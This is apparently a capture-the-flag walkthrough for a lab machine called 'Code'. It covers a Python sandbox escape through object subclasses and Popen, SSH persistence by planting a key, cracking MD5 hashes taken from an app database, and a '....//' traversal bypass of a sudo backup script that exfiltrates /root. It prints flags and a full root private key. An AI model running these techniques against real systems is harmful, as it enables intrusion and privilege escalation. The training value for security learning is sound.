Code
Recon
HTTP (5000)
80/443 is not open, only 5000 which is serving Python online runner (?)

import
is blocked, most "dangerous" functions are blocked like eval
, exec
, even open
.
print([ (i, x.__name__) for i, x in enumerate(().__class__.__base__.__subclasses__()) if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ])
[
(80, "_ModuleLock"),
(81, "_DummyModuleLock"),
(82, "_ModuleLockManager"),
(83, "ModuleSpec"),
(99, "FileLoader"),
(100, "_NamespacePath"),
(101, "_NamespaceLoader"),
(103, "FileFinder"),
(104, "zipimporter"),
(105, "_ZipImportResourceReader"),
(107, "IncrementalEncoder"),
(108, "IncrementalDecoder"),
(109, "StreamReaderWriter"),
(110, "StreamRecoder"),
(132, "_wrap_close"),
(133, "Quitter"),
(134, "_Printer"),
(138, "WarningMessage"),
(139, "catch_warnings"),
(178, "_GeneratorContextManagerBase"),
(179, "_BaseExitStack"),
(206, "ZipInfo"),
(207, "LZMACompressor"),
(208, "LZMADecompressor"),
(209, "_SharedFile"),
(210, "_Tellable"),
(211, "ZipFile"),
(212, "Path"),
(214, "finalize"),
(215, "ImpImporter"),
(216, "ImpLoader"),
(248, "_localized_month"),
(249, "_localized_day"),
(250, "Calendar"),
(251, "different_locale"),
(264, "Bytecode"),
(265, "Untokenizer"),
(266, "BlockFinder"),
(269, "Parameter"),
(270, "BoundArguments"),
(271, "Signature"),
(272, "VendorImporter"),
(273, "_LazyDescr"),
(274, "_SixMetaPathImporter"),
(275, "_LazyDescr"),
(276, "_SixMetaPathImporter"),
(277, "AppDirs"),
(284, "FrameSummary"),
(285, "TracebackException"),
(287, "_ParseResultsWithOffset"),
(288, "ParseResults"),
(289, "_UnboundedCache"),
(290, "_FifoCache"),
(291, "ParserElement"),
(293, "OnlyOnce"),
(295, "Node"),
(296, "Marker"),
(299, "WorkingSet"),
(300, "Environment"),
(301, "ResourceManager"),
(302, "NullProvider"),
(304, "EntryPoint"),
(305, "Distribution"),
(316, "CompletedProcess"),
(317, "Popen"),
(318, "LogRecord"),
(319, "PercentStyle"),
(320, "Formatter"),
(321, "BufferingFormatter"),
(322, "Filter"),
(323, "Filterer"),
(324, "PlaceHolder"),
(325, "Manager"),
(326, "LoggerAdapter"),
(328, "BaseSocket"),
(329, "Arbiter"),
(330, "NullTranslations"),
(336, "shlex"),
(341, "SSLObject"),
(342, "InotifyReloader"),
(343, "Config"),
(344, "Setting"),
(345, "Spew"),
(346, "BaseApplication"),
(352, "_Framer"),
(353, "_Unframer"),
(354, "_Pickler"),
(355, "_Unpickler"),
(360, "BaseServer"),
(364, "BaseRequestHandler"),
(366, "BaseConfigurator"),
(367, "Logger"),
(369, "ChunkedReader"),
(370, "LengthReader"),
(371, "EOFReader"),
(372, "Body"),
(375, "FileWrapper"),
(376, "Response"),
(378, "Worker"),
(393, "MimeTypes"),
(395, "_MarkupEscapeHelper"),
(410, "Request"),
(411, "OpenerDirector"),
(413, "HTTPPasswordMgr"),
(414, "AbstractBasicAuthHandler"),
(415, "AbstractDigestAuthHandler"),
(416, "URLopener"),
(427, "_FIELD_BASE"),
(428, "InitVar"),
(429, "Field"),
(430, "_DataclassParams"),
(444, "EnvironBuilder"),
(445, "Client"),
(446, "Cookie"),
(455, "UUID"),
(457, "_FixupStream"),
(458, "_AtomicFile"),
(459, "LazyFile"),
(460, "KeepOpenFile"),
(461, "PacifyFlushWrapper"),
(468, "Context"),
(469, "BaseCommand"),
(470, "Parameter"),
(489, "_Flavour"),
(491, "_Selector"),
(495, "FileHash"),
(497, "Context"),
(498, "FastPath"),
(499, "Prepared"),
(502, "ScriptInfo"),
(504, "AppContext"),
(505, "RequestContext"),
(506, "Bucket"),
(519, "TemplateReference"),
(520, "Context"),
(521, "BlockReference"),
(522, "LoopContext"),
(523, "Macro"),
(524, "Undefined"),
(536, "Scaffold"),
(544, "_ModuleRegistry"),
(560, "_DefaultMixin"),
(563, "deprecated"),
(565, "NewType"),
(566, "TypeAliasType"),
(567, "Doc"),
(572, "CoroWrapper"),
(573, "Handle"),
(582, "Future"),
(591, "StreamWriter"),
(592, "StreamReader"),
(597, "PluginLoader"),
(598, "portable_instancemethod"),
(605, "_Runner"),
(610, "InstanceLogger"),
]
The word read
was blocked, but we can use communicate
method as long as we have stdout/stderr with subprocess.PIPE
value which is just -1
.
print(().__class__.__base__.__subclasses__()[317]('id',stdout=-1).communicate()[0].decode())

SSH (22)
We are app-production
user and if you check ls /home
you can find this user has a home directory, meaning we should be able to SSH with this user.
# Returns nothing, so it doesn't exist
print(().__class__.__base__.__subclasses__()[317]('ls -alh ~/.ssh',shell=True,stdout=-1).communicate()[0].decode())
# Create ssh directory
print(().__class__.__base__.__subclasses__()[317]('mkdir ~/.ssh',shell=True,stdout=-1).communicate()[0].decode())
# Generate SSH key locally
└─$ ssh-keygen -f id_rsa -P x -q
└─$ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVI0HYy5wj7T3x5QlKZxGDC/NVHsYeMjywH93Xe2tXH woyag@kraken
# Allow us into SSH
print(().__class__.__base__.__subclasses__()[317]('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVI0HYy5wj7T3x5QlKZxGDC/NVHsYeMjywH93Xe2tXH woyag@kraken" > ~/.ssh/authorized_keys',shell=True,stdout=-1).communicate()[0].decode())
# Login
└─$ ssh app-production@code.htb -i id_rsa
app-production@code:~$ id
uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)
User.txt
app-production@code:~$ cat user.txt
c4fd3f6ac80d54276bcf8625bd792c52
Privilege Escalation (martin)
Application which we just attacked has a database with users
app-production@code:~/app/instance$ sqlite3 database.db
sqlite> .table
code user
sqlite> SELECT * FROM user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

759b74ce43947f5f4c91aeddc3e5bad3
md5
development
3de6f30c4a09c27fc71932bfc68474be
md5
nafeelswordsmaster
martin is the valid user on box
app-production@code:~/app/instance$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
└─$ sshpass -p 'nafeelswordsmaster' ssh martin@code.htb
martin@code:~$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin)
Privilege Escalation (root)
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Example task.json
cant be found in home directory
martin@code:~$ cat backups/task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
updated_json
prevents directory traversal by replacing ../
with nothing, but if we do ....//
it becomes ../
and directory traversal is complete.
martin@code:~$ echo '{"directories_to_archive":["/home/../root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' -c
{"directories_to_archive":["/home/root"]}
martin@code:~$ echo '{"directories_to_archive":["/home/....//root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' -c
{"directories_to_archive":["/home/../root"]}
martin@code:~$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root"
]
}
martin@code:~$ sudo /usr/bin/backy.sh ./task.json
2025/03/23 03:59:43 🍀 backy 1.2
2025/03/23 03:59:43 📋 Working with ./task.json ...
2025/03/23 03:59:43 💤 Nothing to sync
2025/03/23 03:59:43 📤 Archiving: [/home/../root]
2025/03/23 03:59:43 📥 To: /home/martin/backups ...
2025/03/23 03:59:43 📦
tar: Removing leading '/home/../' from member names
/home/../root/
/home/../root/.local/
/home/../root/.local/share/
/home/../root/.local/share/nano/
/home/../root/.local/share/nano/search_history
/home/../root/.selected_editor
/home/../root/.sqlite_history
/home/../root/.profile
/home/../root/scripts/
/home/../root/scripts/cleanup.sh
/home/../root/scripts/backups/
/home/../root/scripts/backups/task.json
/home/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/home/../root/scripts/database.db
/home/../root/scripts/cleanup2.sh
/home/../root/.python_history
/home/../root/root.txt
/home/../root/.cache/
/home/../root/.cache/motd.legal-displayed
/home/../root/.ssh/
/home/../root/.ssh/id_rsa
/home/../root/.ssh/authorized_keys
/home/../root/.bash_history
/home/../root/.bashrc
martin@code:~$ ls ~/backups/
code_home_app-production_app_2024_August.tar.bz2 code_home_....__root_2025_March.tar.bz2 task.json
martin@code:~$ tar -xjvf ./backups/*root*
Root.txt
martin@code:~$ cat ./root/root.txt
34eac422c19feb3349c4d525b74def77
Login as root
SSH key exists and we can use it for login
martin@code:~$ cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
└─$ nano root.id_rsa
└─$ chmod 600 root.id_rsa
└─$ ssh root@code.htb -i root.id_rsa
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)
Last updated